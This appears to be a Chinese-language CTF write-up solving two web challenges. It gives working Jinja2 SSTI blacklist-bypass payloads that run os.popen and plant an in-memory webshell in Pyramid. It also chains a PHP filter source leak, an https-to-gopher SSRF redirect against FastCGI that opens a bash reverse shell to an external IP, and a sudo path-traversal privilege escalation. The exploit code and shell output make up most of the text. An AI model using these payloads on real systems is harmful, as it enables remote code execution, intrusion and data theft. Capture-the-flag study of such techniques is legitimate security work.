前面无需多说,主要看后面SSTI

def main():
    session_factory = SignedCookieSessionFactory('secret_key')

    with Configurator(session_factory=session_factory) as config:
        config.include('pyramid_chameleon')  # 添加渲染模板
        config.add_static_view(name='static', path='/app/static')
        config.set_default_permission('view')  # 设置默认权限为view

        # 注册路由
        config.add_route('root', '/')
        config.add_route('captcha', '/captcha')
        config.add_route('home', '/home')
        config.add_route('info', '/info')
        config.add_route('login', '/login')
        config.add_route('shell', '/shell')

        # 注册视图
        config.add_view(root_view, route_name='root')
        config.add_view(captcha_image_view, route_name='captcha')
        config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')
        config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')
        config.add_view(login_view, route_name='login', renderer='login.pt')
        config.add_view(shell_view, route_name=' shell', renderer='string', permission='view')

        config.scan()
        app = config.make_wsgi_app()
        return app

这里注册一个shell路由,对应函数

def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*'
    ]
    
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')
    
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result is not None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})

明显的jinja2模板注入,并且没有回显,首先是想到打内存马,首先构造初步的gadget尝试rce
通过全局对象或者全局函数获取到globals,然后找到内置的eval进行rce
.的绕过可以用[‘’]以及getattr,attr,__getitem__

{{self['__init__']['__globals__']['__builtins__']['eval']('getattr(getattr(__import__("os"),"popen")("id"),"read")()')}}
{{self|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"),"popen")("id"),"read")()')}}
{{self['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}

成功rce之后可以尝试内存马
查看pyramid的hook函数
https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html
官方给的payload是使用request.add_response_callback,add_response_callback用于注册一个响应回调
OLsz26.png
即pyramid会动态处理响应对象,如果视图函数也就是源码里的那些view返回一个正常值,就会调用cache_callback,我们可以修改cache_callback为匿名函数实现注入内存马

{{self|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')("getattr(request,'add_response_callback')(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('/readflag'),'read')()))",{'request':request})}}

如果config是全局变量还可以使用config.add_response_adapter等其他hook函数
第二种解法是用请求头回显,通过simple_server.ServerHandler将http_version设置成目标回显

{{self['__init__']['__globals__']['__builtins__']['setattr'](self['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',self['__init__']['__globals__']['__builtins__']['eval']('getattr(getattr(__import__("os"),"popen")("id"),"read")()')}}

OLshbP.png
然后盲注的话,懒得写脚本了

signal

可以二次编码打filter chain当时觉得麻烦没试,结果还真行
这里做下预期解,通过filter二次编码读取StoredAccounts.php拿到admin的登录密码
admin:FetxRuFebAdm4nHace
OLsimb.png

<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';
        }
        curl_close($ch);
    }
}
?>

读取源码发现只可以输入https的url
OLsnVl.png
可以实现SSRF跳转,题目提示是cgi,那就SSRF打fastcgi
https用cpolar不太行,用ngrok发现可以
先生产一个反弹shell的payload

root@kali2 [~/Desktop/Gopherus] git:(master) ✗ ➜  python2 gopherus.py --exploit fastcgi                                                                                                                                            [13:34:09]


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/admin.php
Terminal command to run:  bash -c "bash -i >& /dev/tcp/101.43.121.110/4567 0>&1"

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/101.43.121.110/4567%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后kali启动ngrok进行内网穿透

ngrok http 4567

OLsNAB.png
然后flask起一个302跳转到gopher的payload

from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
    redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/101.43.121.110/4567%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    return redirect(redirectUrl)
if __name__ == '__main__':
    app.run('0.0.0.0', port=4567, debug=True)

然后填入https,vps就能弹回shell,有sudo权限

root@VM-4-13-ubuntu:~# nc -lvnp 4567
Listening on 0.0.0.0 4567
Connection received on 125.70.243.22 36193
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
www-data@signal-d42a5295a4b74619:~/html$
www-data@signal-d42a5295a4b74619:/$ sudo -l       
sudo -l
Matching Defaults entries for www-data on signal-d42a5295a4b74619:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on signal-d42a5295a4b74619:
    (root) NOPASSWD: /bin/cat /tmp/whereflag/*

简单的sudo提权,先找一下flag在哪然后cat穿越读一下就行

www-data@signal-d42a5295a4b74619:/$ sudo cat /tmp/whereflag/*
sudo cat /tmp/whereflag/*
flag{Maybe_you_should_get_permissions}

猜测flag在root目录

www-data@signal-d42a5295a4b74619:/$ sudo cat /tmp/whereflag/../../../root/flag
<74619:/$ sudo cat /tmp/whereflag/../../../root/flag
D0g3xGC{2bff4d97-fcce-4cbc-ad11-54fba96f6527}